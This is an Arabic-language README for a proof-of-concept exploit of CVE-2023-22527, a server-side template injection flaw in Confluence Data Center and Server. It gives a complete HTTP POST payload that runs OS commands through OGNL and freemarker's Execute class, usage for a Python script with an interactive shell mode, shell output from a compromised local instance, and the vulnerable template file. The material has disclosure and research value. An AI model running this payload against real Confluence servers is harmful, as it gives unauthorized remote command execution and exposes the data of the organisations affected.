
إثبات مفهوم لاستغلال CVE-2023-22527، وهي ثغرة حقن قوالب من جهة الخادم في Confluence تتيح تنفيذ الأوامر عن بُعد. يتضمن سكربت بلغة Python لتنفيذ الأوامر وقشرة تفاعلية.
يقدم هذا المستودع إثباتًا لمفهوم (PoC) لثغرة CVE-2023-22527
هذا الكود هو إثبات لمفهوم الثغرة، ولا أشجع أي شخص على استخدامه على نسخ Confluence لا يملكها.
تم تطوير هذه الأداة لأغراض البحث والتعليم فقط، ولن أتحمل أي مسؤولية عن أي استخدام تقوم به لها.
تشير CVE-2023-22527 إلى ثغرة حقن القوالب من جانب الخادم (ServerSide Template Injection) في محرك freemarker والتي تسمح للمستخدمين بتنفيذ أوامر على خادم الويب.
فيما يلي مثال على الحمولة
POST /template/aui/text-inline.vm HTTP/1.1
Host: 127.0.0.1:8092
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 278
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&[email protected]@getResponse().getWriter().write((new freemarker.template.utility.Execute()).exec({"id"}))
$ python3 CVE-2023-22527.py -h
usage: CVE-2023-22527.py [-h] [-u URL] [-c COMMAND] [-i]
This is a POC for CVE-2023-22527 (Confluence SSTI)
options:
-h, --help show this help message and exit
-u URL Url
-c COMMAND Command
-i Interactive mod
python3 CVE-2023-22527.py -u http://127.0.0.1:8092 -i
[DEBUG] Spawning semi-interactive shell ..
$ id
uid=2002(confluence) gid=2002(confluence) groups=2002(confluence),0(root)
$ whoami
confluence
$ ls -lha
total 128K
drwxr-xr-x 19 confluence confluence 4.0K Jan 23 08:42 .
drwxr-xr-x 1 root root 4.0K Jan 20 16:15 ..
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 analytics-logs
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:40 attachments
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 backups
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 bundled-plugins
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:38 .cache
-rw-r----- 1 confluence confluence 6.1K Jan 23 08:42 confluence.cfg.xml
-rw-r--r-- 1 confluence confluence 1 Jan 23 08:13 docker-app.pid
drwxr-x--- 4 confluence confluence 4.0K Jan 23 08:42 index
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:37 .java
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:43 journal
-rw-r----- 1 confluence confluence 0 Jan 23 08:37 lock
drwxr-x--- 4 confluence confluence 4.0K Jan 23 08:42 log
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:13 logs
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 plugins-cache
drwxr-x--- 5 confluence confluence 4.0K Jan 23 08:37 plugins-osgi-cache
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:37 plugins-temp
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:42 shared-home
-rw-r----- 1 confluence confluence 860 Jan 23 08:42 synchrony-args.properties
drwxr-x--- 2 confluence confluence 4.0K Jan 23 08:40 temp
drwxr-x--- 3 confluence confluence 4.0K Jan 23 08:37 viewfile
drwxr-x--- 2 confluence confluence 40K Jan 23 08:46 webresource-temp
تقع الثغرة في الملف التالي: ./confluence/confluence/template/aui/text-inline.vm
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
#set( $labelValue = $parameters.label )
#end
#if (!$parameters.id)
#set( $parameters.id = $parameters.name)
#end
<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
<span class="aui-icon icon-required"></span>
<span class="content">$parameters.required</span>
#end
</label>
#parse("/template/aui/text-include.vm")
Confluence Data Center و Server